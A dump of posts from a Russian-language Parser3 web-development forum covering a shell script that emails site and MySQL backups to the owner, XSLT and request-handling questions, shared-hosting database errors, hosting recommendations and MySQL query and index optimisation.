<query>ПОПРОБУЙТЕ ПРОПИНГОВАТЬ! ping -t ktulhu.org.ua</query>\
<groupings>\
<groupby attr=\"d\" mode=\"deep\" groups-on-page=\"10\"  docs-in-group=\"1\" />\
</groupings>\
</request> \
\
Как с помощью парсера во входном потоке отправить XML запрос на http://xmlsearch.yandex.ru/xmlsearch/"
"62422","$.charset[windows-1251]\
$.timeout(6)\
$.method[post]\
$.form[\
  $.поле[значение]\
  $.поле[$таблица_значений]\
  …\
]\
\
Не понял как оформить параметр form. Каким образом xml передать по адресу?"
"62424","то есть, текст тела запроса $.body и есть мой xml запрос? Как в таком случае его отправить?"
"62425","http://www.parser.ru/docs/lang/fileload.htm"
"62426","Начитавшись про вирусы, крадущие FTP-пароли и прочий беспредел, решил сваять небольшой скриптик, который делает архив выбранной папки и базы MySQL и высылает его на email.\
\
Те готовые скрипты для этой цели, что нашёл мне Google, не подходили - они все используют mutt, а не sendmail, и хотят zip. Мой требует только tar, gzip, sendmail, mysqldump, basename, uuencode и sed, которые есть даже на самых злючих хостингах.\
\
Нынче Google предоставляет двухсполовинойгигабайтные ящики, конкуренты не отстают. Для цели бэкапа лучше всего завести ящик на http://mail.yahoo.com, потому что там (а) нет ограничений на размер ящика в принципе и (б) можно создать ящику псевдоним, для которого отключить спамфильтр. Последнее важно - автоматически сгенерированные письма, даже полезные, очень часто летят в \"Спам\" и удаляются оттуда через месяц.\
\
Скопируйте код ниже в файл emailbackup.cgi. Отредактируйте текст, вставьте пути к своим файлам и пароль к вашей базе MySQL. Закачайте файл в папку cgi-bin по FTP в ASCII-режиме. Выставьте на файл права 755.\
\
Откройте http://бла-бла-бла/cgi-bin/emailbackup.cgi в браузере, убедитесь, что всё работает.\
\
Создайте на сайте папку ВНЕ веб-пространства. ПЕРЕМЕСТИТЕ emailbackup.cgi туда.\
\
Через контрольную панель хостинга вставьте в cron команду[code]/home/users/полный/путь от корня к/emailbackup.cgi >/dev/null 2>&1[/code]и укажите, чтобы она запускалась раз в сутки по ночам (\"волчий час\" - пять утра, когда загрузка хостинга минимальна, сойдёт).\
\
А вот и код:[code]#!/bin/sh\
\
# Скрипт для высылки бэкапов сайта на почту.\
\
# Настройки доступа к MySQL-базе, которую вы хотите бэкапить:\
DBNAME=\"имя_базы\"\
DBUSER=\"логин_mysql\"\
DBPASS=\"ваш_пароль_mysql\"\
\
# Имя папки, всё содержимое которой надо бэкапить (без слэша на конце):\
files_to_backup=\"/home/бла-бла-бла/html\"\
\
# Имя пустой временной папки за пределами wwwroot,\
# в которую у вас есть права записи. Путь от корня, без слэша на конце:\
TempFiles=\"/home/бла-бла-бла/TempFiles\"\
\
# Имя временного файла, в который будет запакован бэкап MySQL\
# (вложение в письмо будет называться так:)\
mysql_backup_filename=$TempFiles/mysql_backup.sql.gz\
files_backup_filename=$TempFiles/files_backup.tar.gz\
# (эти файлики будут удалены в конце работы скрипта!)\
\
# Путь к sendmail; postfix или msmtp тоже сгодятся:\
sendmail=/usr/sbin/sendmail\
\
# Параметры отправляемого сообщения:\
from=robot@бла-бла-бла.com\
recipient=бла-бла-бла@yahoo.com\
# Subject лучше писать латиницей!\
subject=\"Backup of бла-бла-бла,com\"\
\
###################################################\
# Больше ничего редактировать не надо! (наверное)\
#\
\
printf \"Content-Type: text/plain; charset=WINDOWS-1251\\n\\n\"\
\
echo \"Начинаем бэкап...\"\
echo \"Делаем дамп базы MySQL и пакуем его...\"\
# параметр -с запуска gzip означает, что файл для сжатия надо брать со stdin\
mysqldump --opt --quote-names -u $DBUSER -p$DBPASS $DBNAME | gzip -9c > $mysql_backup_filename\
\
echo \"Архивируем файлы...\"\
# опция \"-f -\" означает, что архив надо отправлять в stdout\
tar --create --exclude='parser3.cgi' --exclude='*.so' \\\
	--file - $files_to_backup | gzip \\\
	-9c > $files_backup_filename\
\
echo \"Создаём текст сообщения для отправки...\"\
msgdate=`date +\"%a, %d %b %Y %T %z\"` \
boundary=\"0__=4CBBF9D3DFA196658f9e8a93df938690918c4CBBF9D3DFA19775\"\
attachment_mysql=`basename \"$mysql_backup_filename\"`\
attachment_files=`basename \"$files_backup_filename\"`\
mimetype=\"application/x-gzip\"\
\
cat > msg.tmp <<ENDBLOCK\
Date: $msgdate\
From: $from\
To: $recipient\
Subject: $subject [$msgdate]\
Mime-Version: 1.0\
Content-Type: multipart/mixed; boundary=\"$boundary\"\
Content-Disposition: inline\
\
--$boundary\
Content-Type: text/plain; charset=windows-1251\
Content-Disposition: inline\
\
Бэкап вашей базы MySQL и файлов, сделанный \
$msgdate\
\
--$boundary\
Content-Type: $mimetype;name=\"$attachment_mysql\"\
Content-Disposition: attachment; filename=\"$attachment_mysql\"\
Content-Transfer-Encoding: base64\
\
ENDBLOCK\
\
echo >> msg.tmp\
\
echo \"Перекодируем дамп MySQL в base64...\"\
uuencode -m $mysql_backup_filename $attachment_mysql | sed '1d' >> msg.tmp\
\
cat >> msg.tmp <<ENDBLOCK\
\
--$boundary\
Content-Type: $mimetype;name=\"$attachment_files\"\
Content-Disposition: attachment; filename=\"$attachment_files\"\
Content-Transfer-Encoding: base64\
\
ENDBLOCK\
\
echo \"Перекодируем архив с файлами в base64...\"\
uuencode -m $files_backup_filename $attachment_files | sed '1d' >> msg.tmp\
\
# печатаем последнюю строку email-сообщения:\
echo -e \"\\n--$boundary--\" >> msg.tmp\
\
echo \"Отправляем письмо на адрес $recipient ...\"\
cat msg.tmp | $sendmail -t\
\
echo \"Прибираемся за собой...\"\
rm msg.tmp\
rm $mysql_backup_filename\
rm $files_backup_filename\
\
echo \"Готово!\"[/code]Раз уж начали стелить соломку, позаботьтесь и о домашнем компьютере. Если у вас толстый безлимитный канал в интернет, подпишитесь на сервис [url=\"https://mozy.com/?ref=46THPG\"]https://mozy.com/registration/free[/url] (пакет \"Free\"), чтобы наиболее важные вам папки бэкапились на этот сайт (квота до двух гигабайт - бесплатно, можно шифровать данные своим ключом). Эта штуковина меня не раз спасала от потери сглюкнувшего почтового файла Outlook Express и случайно удалённой мимо \"Корзины\" папки со всеми файлами сайта. Первый бэкап будет идти долго, последующие инкрементные бэкапы вы замечать не будете - отсылаются только изменённые части файлов."
"62427","насчёт того, как исключить из backup громоздкие parser3.cgi и *.so. У zip есть соответствующий ключик, у tar - вроде нет."
"62428","Как такое сделать??? У кого-нибудь была такая задача?"
"62429","Увеличить размер canvas, чтобы точка поворота стала центральной, повернуть, отрезать поля обратно.\
\
Нарисуйте на тетрадном листе прямоугольник, поставьте в прямоугольнике точку - сразу поймёте, сколько и откуда прибавлять и отрезать."
"62430","Да... спасибо... я думал есть такая функция.. оказалось нет... так и решаю..."
"62431","Для исключения путей/файлов:\
[code]\
     --exclude pattern (-W exclude=pattern)\
             Do not process files or directories that match the specified pat-\
             tern.  Note that exclusions take precedence over patterns or\
             filenames specified on the command line.\
[/code]\
\
А еще tar умеет сам gzip'ить...\
[code]\
     -z      (c mode only) Compress the resulting archive with gzip(1).  In\
             extract or list modes, this option is ignored.  Note that, unlike\
             other tar implementations, this implementation recognizes gzip\
             compression automatically when reading archives.\
[/code]"
"62432","Здравствуйте! недавно появилась необходимость создать сайт с применением xml+xslt. для меня это в новинку и мне требуется небольшое разъяснение: допустим у меня есть файлы, которые генерируют xml, т.е. я обращаюсь к www.site.ru/shop/index.html и браузер получает код в формате xml, а каким образом производить его преобразование с помощью xslt?"
"62433","http://www.parser.ru/docs/lang/xdoctransform.htm\
\
И поиск, уйма написана про это."
"62434","в логах вот такие ошибки:\
[quote][Sun Sep  2 14:47:36 2007] [46047] /chat/load.html?JsHttpRequest=11887298106496-xml: post_size(0) != content_length(16) [<no type>]\
[Sun Sep  2 14:47:36 2007] [46047] SIGPIPE received while reading data. uri=/chat/load.html?JsHttpRequest=11887298106496-xml, method=POST, cl=16[/quote]\
текст кода не привожу, он очень большой, а какой кусок конкретно надо даже не знаю, тк номера строки в ошибке нет.\
Но за основу взят код чата Миши из примеров.\
\
поискал по форуму про передачу POST-данных:\
такой test.html отлично работает.\
[code]@text[]\
$form:go\
<form method=\"post\">\
<input type=submit name=go value=пошел>\
</form>[/code]"
"62435","[quote]\
…SIGPIPE received. …\
Такие записи появляются в parser3.log, при этом вроде все работает нормально. Что это означает?\
Когда ответ от CGI-скрипта больше клиенту веб-сервера не нужен, например пользователь нажал кнопку stop, или потерялась связь, веб-сервер посылает скрипту сигнал «послушай, тут твой output больше никому не нужен». В версиях parser до 3.0.0006 этот сигнал специально не обрабатывался, и происходила его обработка по-умолчанию = убивание процесса посередине его работы [исключение составлял parser, соединившийся с oracle, там oracle библиотека включала игнорирование этого сигнала].\
Это нехорошо, что нас убивали, и мы ничего не могли аккуратно закрыть.\
\
С версии 3.0.0007 parser отлавливает этот сигнал и создаёт ошибку «parser.interrupted».\
\
В том случае, если до обработки запроса ещё дело не дошло, или, наоборот, запрос уже обработан, в лог и попадёт приведённая вами запись.\
\
…post_size(XX) != content_length(YY)…\
Ошибка означает следующее: от броузера посетителя на сервер пришёл POST запрос, в заголовке которого написано content-length:YY однако попытки считать это количество байт из stdin CGI процесса не увенчались успехом — было считано только XX байт.\
\
[b]Если подобная ошибка изредка встречается в parser.log, то можно просто не обращать на неё внимания[/b]\
\
, возможно в процессе POST-а данных от посетителя с нестабильным соединением произошел его разрыв и до сервера просто не дошла часть данных. Однако если каждый POST вызывает эту ошибку то проблема с настройками сервера.\
\
…posted content_length(XXXX) > max_post_size(YYYY)…\
Кто-то через форму на вашем сайте попытался закачать на сервер файл размером XXXX байт, в то время как у вас в главном конфигурационном файле указано, что серверу разрешено принимать файлы с максимальным размером YYYY байт.[/quote]"
"62436","Тогда строчка видоизменится до:[code]tar --create --exclude='parser3.cgi' \\\
	--exclude='*.so'  --exclude='*.bak' --exclude='*.cache' \\\
	--file - $files_to_backup | gzip \\\
	-9c > $files_backup_filename[/code]"
"62437","+ выкинуть отдельный запуск gzip, т.к. на большинстве ОС tar сам умеет делать это (надо проверить, т.к. я не PRO в *nix, могу ошибиться в параметрах)\
+ выкинуть .log, .core, *.tmp, + выкинуть содержимое /cgi, а не .cgi:\
[code]\
tar\
	--exclude=/cgi/* \\\
	--exclude=*.so \\\
	--exclude=*.log \\\
	--exclude=*.core \\\
	--exclude=*.tmp \\\
	--exclude=*.bak \\\
	--exclude=*.cache \\\
	-czf \\\
	$files_to_backup \\\
	> $files_backup_filename\
[/code]\
\
+ лично я не делал бы отдельный tar.gz DB dump-а, т.к. для win-пользователя проще распаковать один tar.gz чем два... я сделал бы dump, потом сделал бы архив всего и отправил бы его, а потом удалил бы ненужное... понимаю, что при этом расход disc space больше..."
"62438","1) кто какие файлы не хочет видеть в архиве - его личное дело (мне вот часть папки cgi-bin нужна). Хотя про log, core и tmp - справедливо.\
2) два архива удобнее - если крякнулась база, а с файлами всё в порядке, можно скачать только один из двух и восстановить работу.\
3) отдельный запуск gzip использую потому, что так ему можно выставить более сильную степень сжатия (\"-z\" использует default'ную)"
"62439","... что можно обойтись без промежуточного файла msg.tmp.\
\
[code]\
$sendmail -t <<ENDBLOCK\
Date: $msgdate\
From: $from\
To: $recipient\
Subject: $subject [$msgdate]\
Mime-Version: 1.0\
Content-Type: multipart/mixed; boundary=\"$boundary\"\
Content-Disposition: inline\
\
--$boundary\
Content-Type: text/plain; charset=windows-1251\
Content-Disposition: inline\
\
Бэкап вашей базы MySQL и файлов, сделанный \
$msgdate\
\
--$boundary\
Content-Type: $mimetype;name=\"$attachment_mysql\"\
Content-Disposition: attachment; filename=\"$attachment_mysql\"\
Content-Transfer-Encoding: base64\
\
`uuencode -m $mysql_backup_filename $attachment_mysql | sed '1d'`\
\
--$boundary\
Content-Type: $mimetype;name=\"$attachment_files\"\
Content-Disposition: attachment; filename=\"$attachment_files\"\
Content-Transfer-Encoding: base64\
\
`uuencode -m $files_backup_filename $attachment_files | sed '1d'`\
\
--$boundary--\
\
ENDBLOCK\
\
[/code]"
"62440","... можем и совсем от времкенных файлов уйти:\
[code]\
$sendmail -t <<ENDBLOCK\
Date: $msgdate\
From: $from\
To: $recipient\
Subject: $subject [$msgdate]\
Mime-Version: 1.0\
Content-Type: multipart/mixed; boundary=\"$boundary\"\
Content-Disposition: inline\
\
--$boundary\
Content-Type: text/plain; charset=windows-1251\
Content-Disposition: inline\
\
Бэкап вашей базы MySQL и файлов, сделанный \
$msgdate\
\
--$boundary\
Content-Type: $mimetype;name=\"$attachment_mysql\"\
Content-Disposition: attachment; filename=\"$attachment_mysql\"\
Content-Transfer-Encoding: base64\
\
`mysqldump --opt --quote-names -u $DBUSER -p$DBPASS $DBNAME \\\
 | gzip -9c \\\
 | uuencode -m $attachment_mysql \\\
 | sed '1d'`\
\
--$boundary\
Content-Type: $mimetype;name=\"$attachment_files\"\
Content-Disposition: attachment; filename=\"$attachment_files\"\
Content-Transfer-Encoding: base64\
\
`tar --create \\\
     --exclude='parser3.cgi' \\\
     --exclude='*.so' \\\
     --exclude='*.bak' \\\
     --exclude='*.cache' \\\
     --file - $files_to_backup \\ \
 | gzip -9c \\\
 | uuencode -m $attachment_files \\\
 | sed '1d'`\
\
--$boundary--\
\
ENDBLOCK\
[/code]"
"62442","... просто стандартный юниксовый подход - все, что можно пускать через пайпы. :)"
"62444","Как получить доступ к разработке драйвера для sqlite через cvs?"
"62445","если посмотреть текущую документацию то в неё говорится, что драйвера находятся в модуле sql, я не вижу ни одной причины, по какой драйвер sqlite мог бы быть нами положен в какое-то другое место.\
\
для win32 собранный драйвер лежит в разделе \"скачать\"."
"62446","Через cvsview я практически могу только посмотреть дерево, т.е. чтобы получить все файлы я должен просмотреть каждый файл. Если заглянут в директорию sql, то там нет файлов для sqlite. Мне нужны исходные файлы, а не готовые. Кто знает путь к репозитарию,  подскажите."
"62449","Сменил софтвер и удалось скачать нужный мне код. Всем спасибо за участие."
"62450","[code]./emailbackup.cgi: 2: Syntax error: \"|\" unexpected[/code]:("
"62453","^try почему то здесь бессилен."
"62455","весь лог, простите, просто засран."
"62456","Парсер ведь что - обыная unix-way софтина: читает stdin, пишет в stdout.\
PHP - тоже. Точнее, не PHP вообще, а конкретный /usr/bin/php (или куда там его поставили - locate вам в помощь).\
Итого, надо лишь написать тривиальный cgi (шелл скрипт), в котором через пайп (|) последовательно позвать parser3.cgi и php, а потом этот cgi обозвать обработчиком для .html\
Более того, сюда еще и другие проги накрутить можно, вопрос лишь целесообразности."
"62457","То, что лог забит, означает, что клиенты не могут дождаться ответа. Не повод ли пересмотреть алгоритмы в сторону убыстрения?"
"62458","В текущих реализациях, вирус тупо пишет в конец файла. Если в конце оного будет стоять символ \"#\" [b]без перевода строки после[/b], самое начало данного кода уйдет в коммент парсера, а остальное - без определения функции - почти бессмыссленный набор байтов.\
Добавлять перевод строки самостоятетьно вирус пока не умеет."
"62459","Если апач показывает содержимое папки, а это не нужно, есть опция\
[code]Options -Indexes[/code]\
В результате будет ошибка \"Directory listing is not allowed\" (таки 403).\
По-хорошему, имеет смыл данное значение держать по-умолчинию, а вот разрешать индексацию папок без IndexDocument только принудительно, прописыванием данной строки с \"плюсом\" в конкретной папке."
"62462","http://www.siteexperts.com/tips/xml/ts01/page5.asp\
\
возможно, в части проектов, можно и такой \"халявный\" вариант использовать.\
\
но мы так не делаем, опасаясь, что браузер не поймёт,\
а делаем преобразование сами, средствами parser."
"62463","xsl-шаблон представляет немалую интелектуальную ценность, особенно если сложный.\
Раздавать направо и налево без сожаления получится только простые шаблоны, а то верстальщик не оценит ;)."
"62464","Подскажите как узнать номер (id) последней записи в таблице."
"62466","[quote]Интеллектуальная поисковая система Nigma.ru позволяет всем желающим бесплатно получить книги (по одной на каждого пользователя) по программированию и системному администрированию.[/quote]\
\
[url=\"http://www.nigma.ru/books.php\"]http://www.nigma.ru/books.php[/url]\
Книжки выбирать нужно самостоятельно в наших интернет-магазинах.\
\
Заказал. Жду."
"62467","Прочитал все по теме в форуме. Ничего не помогло. Собирал из сырцов, cvs кстати не заработал у меня, поэтому брал с сайта.\
\
OS: CentOS_4_x86_64\
\
Сдвинулось ли что-нибудь с 64 битными OS со времени последнего вопрощающего? :)"
"62471","У меня в CMS-ке на одной странице обрабатываться по несколько модулей сразу. Организовано это через таблицу модуле, из которой, по [b]id[/b] страницы выбирается список и затем динамически последовательно вызывается (по очередности поля [b]sort[/b]):\
[code]^objMethod.[$method][$m_data][/code]\
как переложить этот подход на рельсы [b]PF[/b]?\
Как я понял, при [b][url=\"http://www.parser.ru/forum/?id=62239\"]Маршрутизации URLов и обработка параметров запросов[/url][/b] для каждого пути:\
[code]/first/second/third[/code]\
вызывается последовательно (от корня) по одному обработчику из текущего приложения.\
А если мне нужно на странице для разных модулей вызывать сразу несколько обработчиков, и отдельно для:\
[code]/first/[/code]\
[code]/first/second/[/code]\
[code]/first/second/third[/code]\
?"
"62472","1. Перекрыть метод dispatch в котором реализовать необходимую логику.\
\
2. Для модулей можно перекрыть прямой вызов подмодулей:\
[code]\
@create[..]\
...\
  ^assignModule[first;...]\
\
@onFirst[aActionArgs]\
  Тут какая-то логика...\
  ^modFirst.dispatch[second/third;...]\
[/code]\
И далее в подмодулях свое..."
"62473","Parser 3.2.1, Debian 3.4.\
\
XML:\
\
[code]<a>\
	<b on=\"on\" title=\"b1\" deftitle=\"b1 def\">b1</b>\
	<b title=\"b2\" deftitle=\"b2 def\">b2</b>\
	<b title=\"b3\" deftitle=\"b3 def\">b3</b>\
</a>[/code]\
\
Не работает инструкция:\
\
[code]<xsl:choose>\
	<xsl:when test=\"@on != 'on'\">\
		<xsl:value-of select=\"@title\" />\
	</xsl:when>\
	<xsl:otherwise>\
		<xsl:value-of select=\"@deftitle\" />\
	</xsl:otherwise>\
</xsl:choose>[/code]\
\
заработала так:\
\
[code]<xsl:choose>\
	<xsl:when test=\"@on = 'on'\">\
		<xsl:value-of select=\"@deftitle\" />\
	</xsl:when>\
	<xsl:otherwise>\
		<xsl:value-of select=\"@title\" />\
	</xsl:otherwise>\
</xsl:choose>[/code]\
\
Это шутка XPath 2.0?"
"62474","[code]test=\"not (@on) or @on != 'on'\"[/code]\
\
\
update: или вот как тут мне из зала кричат: [code]not (@on = 'on')[/code]"
"62476","Есть код\
[code]\
@CLASS\
Storage\
\
@auto[]\
$oSql[$MAIN:oSql]\
$iUserId($oAuth.user.user_id)\
\
@ListFileByFolder[iFolderId;iResultType][tFileList]\
$tFileList[\
	^oSql.table{\
		SELECT \
			id,\
			description,\
			fsize,\
			type,\
			self_name\
		FROM\
			store_file\
		WHERE\
			folder_id = $iFolderId\
		AND\
			owner_id = $iUserId\
	}\
]\
\
[/code]\
\
Этот код вызываеться так:\
[code]\
@USE\
Storage.p\
@auto[]\
$bIsSystem(true)\
@pageCode[]\
$ItemsList[^Storage:ListFileByFolder[^form:folder.int(0);1]][/code]\
\
в корневом auto.p в @main[] определяеться $oAuth и идет вызов @pageCode[].\
\
[code]$oSql[$MAIN:oSql]\
$iUserId($oAuth.user.user_id)[/code]\
\
oSql у меня дереться , а oAuth нет\
oSql определен в секции auto.\
\
Я дурак?"
"62478","так пробовал"
"62479","Вам нужен динамический вызов @ListFileByFolder, а не статический как сейчас."
"62480","Глупый вопрос: А КАК?"
"62481","метод @auto[] класса выполняется в момент его ^use или @USE.\
\
т.е. если вы в этом методе создаёте внетренние переменные, ссылающиеся наружу, то переменные, на которые вы ссылаетесь к этому моменту уже должны существовать."
"62484","Как заставить Parser работать? Дело в том, что все инструкции не обрабатываются а выводятся как есть. Например, пишу я в коде страницы [code]^navigation[][/code], а этот код не обрабатывается и выводится в чистом виде на странице. \
\
В коде все верно, я уверен, дело в том, что сам парсер не работает. Как его включить?"
"62485","В частности:\
[b]Too many connections[/b]\
[b]Got error 28 from storage engine[/b]\
?\
И с чем это связано? У меня они возникают пока только с одним сайтом. Я пока грешу на отсутствие кэширования, однако, посещаемость сайта совсем мизерная (10-11 посещений в день, т.к. пока тестируем). На других сайтах (на том же движке) посещаемость в разы больше, однако, проблем пока не возникает.\
\
Решит ли кэширование эти проблемы, или мне сменить хостинг?\
Работаю пока на [url=\"http://www.bhost.ru/\"]BHost[/url]"
"62486","возникают и довольно часто...\
Это прежде всего связано с настройки мускульного сервера, т.к. именно там задается максимальное одновременное количество подключений. Вторая причина - нагрузка на сервер.\
Кеширование может помочь отчасти, но если на машине кроме вас еще хостятся пара десятков PHPbb форумов, уносите оттуда ноги, иначе постоянно будете огребать эту ошибку."
"62487","Я так и подумал, особенно после ответа службы поддержки:\
[quote]Специфика виртуального хостинга такова что время от времени отдельные \
пользователи могут влиять на производительность общих сервисов \
(например, некорректными скриптами). Мы делаем все для обеспечения \
стабильной работы и проводим круглосуточный мониторинг ключевых \
сервисов, так что простои, вызванные такими причинами, обычно не \
продолжаются более 10 минут.[/quote]\
Ладно, бедем искать другой хостинг... жаль, вроде всем устраивал, до сих пор.\
\
Может, кто, посоветует что, по опыту, а то [url=\"http://www.parser.ru/hosters/\"]http://www.parser.ru/hosters/[/url] мало дает информации..."
"62488","начинаешь задумываться о несовершенстве своего кода. Я, НАКОНЕЦ, задумался о кэшировании... прогресс."
"62489","да и за кеширование недо платить... дисковым пространством. к тому-же скешировать можно далеко не всё.\
\
не думаю, что среди общедоступных, достаточно бюджетных хостингов, вы найдёте варианты без подобной проблемы.\
\
опять же: проблемы может не быть при тестировании, может не быть сегодня, но она может запросто появиться завтра, и ответ поддержки будет точно такой.\
\
P.S. такое встречается даже у нас на своих хостингах. следствие -- виновник получает по шапке от админов и бежит оптимизировать свой код %-)"
"62490","Все содержимое страницы я не готов кэшировать (хотя, на будущее, мысль такая есть). Пока, думаю, достаточно будет кэшировать деревья (структуры страниц и ряда других модулей) + кэшировать данные некоторых модулей, и обновлять кэш только когда он реально меняеться (т.е., при их обновлении)."
"62491","т.к. в тот момент когда они появляются sql сервер уже не может вразумительно отвечать на запросы, т.е. даже 2+2 он вам не посчитает (подразумеваю, что sql сервер не вы кладёте своим движком, о кладут его другие клиенты на хостинге).\
\
да и кешировать кусками -- существенно сложнее, а если вдруг xml + xsl, то кеширую кусками не спасаешься от трансформации (которая тяжела).\
\
опять же надо помнить, что оптимизировать все обычно незачем. как показал наш опыт, при открытии широко разрекламированных сайтов достаточно... скешировать _одну_ страницу -- заглавную :)\
все. этого достаточно, чтобы куча народа не клала сервер, и он успевал отвечать на другие запросы (понятное дело, не рассматриваю случаи очень посещаемых форумов). \
\
т.е. я считаю, что надо найти самые узкие места и их оптимизировать (желательно наименьшими трудозатратами). в подавляющем большинстве случаев я решаю эту задачу кешированием страниц целиком. когда этого недостаточно, то после кеширования целиком начинается более глубокая оптимизация, которая требует времени."
"62492","[quote]Уважаемый пользователь хостинга 1Gb.ua,\
\
Данное письмо относится к следующему аккаунту:\
qha   (контактный адрес qha@qha.com.ua)\
\
\
В вашем аккаунте зафиксировано превышение квоты \
на загрузку сервера баз данных.\
База данных, превышающая квоту:  1gbua_qha \
\
Параметры запроса, вызывающего проблему:\
(приводятся параметры одного из запросов)\
\
Время исполнения, секунд   - 170\
Кол-во просмотренных строк - 24542\
Запрос:\
-------\
SELECT\
		DAYOFMONTH(dt_published) AS day,\
		MONTH(dt_published) AS month,\
		YEAR(dt_published) AS year\
	FROM\
		article,\
		article_translation\
	WHERE\
		article_translation.article_id = article.id\
	AND\
		article_translation.lang_id = 1\
		\
			AND article.group_id IN (1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12,\
13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 29, 32,\
 33, 35, 36)\
		AND article.is_active = 1\
		AND article.dt_published <= '2007-09-09 23:13:57'\
	GROUP BY\
		year,\
		month,\
		day\
	ORDER BY\
		dt_published DESC;\
-------\
[/quote]\
\
Сижу теперь думаю, как оптимизировать. Запрос строит календарик новостей. Новости добавляются раз в 10-15 минут. Пока включил кеширование на 15 минут. Есть у кого нибудь идеи?"
"62493","multihost.ru\
Вообще контора странная весьма, но хостинг у них мне нравится."
"62494","http://anton.shevchuk.name/php/essential-cheatsheets/"
"62495","Пока придеться ограничеться try-ми. Хотя, также, возможно придеться кэшировать и последнии новости... а хостинг, всетаки, сменю. Я тут, как-то проверял его: вставил на страницу блок [url=\"http://www.spearance.ru/parser3/poll/\"]Опросника[/url] и обнаружил, что он через 4-5 перезагрузок страницы вылетает (пока поставил try-заглушку)."
"62498","уж больно дешево получается, да и вылетают у них отдельные (свои-же) страницы... посмотрю отзывы в интернете... давно пользуешься?"
"62499","есть ли там ImageMagic или другая библиотека для работы с графикой?"
"62500","на первом freebsd версия на втором linux.\
не знаю что у вас за сайты, у меня нагрузки маленькие - всё работает прекрасно."
"62501","[url=\"http://ruweb.net/?from=4738\"]http://ruweb.net/[/url] - обходится в доллар с хвостиком в месяц. Минус - есть лимиты по трафику. Жёстких тарифных планов нет, можно выбрать вариант под свои нужды в калькуляторе тарифов на сайте и посчитать цену.\
\
Первый месяц можно попользоваться бесплатно и всё проверить."
"62502","К сожалению, заметил, что у бхоста такой косяк все чаще и чаще.\
Более того, там иногда самые невинные запросы выполняются по 500 ms, а иногда и 1500!!!"
"62503","Рувеб классный хостинг, я на нём года 4 просидел. \
Конечно основной минус - это траффик, а вот как тестовый хост для проектов - просто отлично."
"62506","А почему перешел на multihost.ru?\
Не решаеться ли проблема трафика его калькуляциями в тарифном плане?"
"62507","У меня несколько сайтов на bhost'е.\
Самый тяжкий — ALT-форум.\
Только хотел написать, что давно таких ошибок не видел, как залез в лог и ох*ел.\
Да, беда с bhost'ом.\
Лимиты памяти подрезали, теперь вот база отпадает.\
Плохо."
"62508","Раньше работал очень нестабильно...\
\
Но последние полгода я перестал замечать баги. Все работает настолько ровно, насколько позвояет уже мой код )))\
\
Неужели с ними случилось чудо..\
Кто-нить вкурсе?"
"62509","Проблема рувеба - траффик. Как только у меня траффик превысил 2Гб в месяц, я это очень хорошо прочувствовал.\
Проблема мультихоста - мало mysql-баз, и дополнительных купить нельзя. Т.е. после 100-200 баз на рувебе - 6 баз на мультихосте ощутимо душат. (я хостинг как рабочий использую для своих проектов)."
"62512","Количество баз меня не напрягает. На BHost-е вообще база на проект одна (в базовом тарифе). Остальное за деньги. Пока хватало.\
Мне главное:\
- надежность\
- проблемы с настройкой Parser\
- оперативность службы поддержки (раньше на Bhost мне отвечали сразу, через 1-2 часа. Сейчас отвечают какие-то девочки, которые даже не читают, что я им написал в списке проблем... видимо студентки-практикантки...)"
"62513","170 сек - это много, если конечно у вас там записей не пара млн. в каждой таблице.\
\
кандидаты на индексы:\
article_translation.article_id,\
article.id (это наверно Primary, но я же не телепат :))\
article.dt_published\
\
еще можно дату рабить на год, месяц, день и сделать по ним составной индекс. Тогда не надо будет для каждой строки вычислять три функции.\
\
Типы данных:\
article.group_id,\
article_translation.lang_id,\
article.is_active\
должны быть enum (последний может быть еще bool для mysql 5)\
\
article_translation.article_id\
и\
article.id\
должны быть одного типа (наиболее меньшего из необходимых, но главное одинаковых), например mediumint\
\
но енто так - не видя структуры, не утверждения, а просто мысли\
\
А еще есть EXPLAIN - перед данным запросом набрать, запустить и посмотреть результат."
"62514","Эксплеин показал следующее\
[code]\
id  select_type            table                   type        possible_keys          key                     key_len ref                    rows        Extra                                                    \
1   SIMPLE                 article                 ALL         PRIMARY,group_id,dt_pubNULL                    NULL    NULL                   4682        Using where; Using temporary; Using filesort             \
1   SIMPLE                 article_translation     ref         article_id_2           article_id_2            5       qha.article.id,const   1           Using index                                              \
[/code]\
\
код таблиц\
[code]CREATE TABLE `article` (\
  `id` int(11) unsigned NOT NULL auto_increment,\
  `parent_id` int(11) unsigned NOT NULL default '0',\
  `region_id` int(11) unsigned NOT NULL default '0',\
  `group_id` int(11) unsigned NOT NULL default '0',\
  `dt_published` datetime NOT NULL default '0000-00-00 00:00:00',\
  `dt_posted` datetime NOT NULL default '0000-00-00 00:00:00',\
  `dt_edited` datetime NOT NULL default '0000-00-00 00:00:00',\
  `is_active` tinyint(3) NOT NULL default '0',\
  `is_flash` tinyint(3) unsigned NOT NULL default '0',\
  `is_open` tinyint(3) unsigned NOT NULL default '0',\
  `price` varchar(255) NOT NULL default '0',\
  `price_with_media` varchar(255) NOT NULL default '0',\
  PRIMARY KEY  (`id`),\
  KEY `group_id` (`group_id`),\
  KEY `region_id` (`region_id`),\
  KEY `dt_published` (`dt_published`),\
  KEY `is_active` (`is_active`),\
  KEY `parent_id` (`parent_id`),\
  KEY `group_id_2` (`dt_published`,`group_id`,`is_active`)\
) ENGINE=MyISAM DEFAULT CHARSET=utf8;\
\
CREATE TABLE `article_translation` (\
  `id` int(10) unsigned NOT NULL auto_increment,\
  `article_id` int(10) unsigned NOT NULL default '0',\
  `lang_id` tinyint(3) NOT NULL default '0',\
  `title` longtext,\
  `body` longtext,\
  PRIMARY KEY  (`id`),\
  KEY `article_id_2` (`article_id`,`lang_id`),\
  FULLTEXT KEY `title` (`title`),\
  FULLTEXT KEY `body` (`body`)\
) ENGINE=MyISAM DEFAULT CHARSET=utf8;\
[/code]\
\
Все индексы стоят правильно (вроде). Эксплеин тоже ровный. Похоже все дело в\
[code]DAYOFMONTH(dt_published) AS day,\
MONTH(dt_published) AS month,\
YEAR(dt_published) AS year[/code]\
нужно тут менять что-то. Делать еще три поля? Или можно создать поле с типом DATE - онобы все решило по идее. Буду копать короче."
"62515","[quot]\
Все индексы стоят правильно (вроде). Эксплеин тоже ровный.\
[/quot]\
и правильные индексы не стоят и explain сразу говорит, что хреново дело.\
\
- int(10) != int(11)\
\
- читайте про составные индексы. group_id_2 -- очень невыгодный, т.к. по первому-же полю ничего не отсекается, поэтому он не используется (спорим у вас новостей в будущем 2 с половиной штуки, да и то по праздникам?)\
\
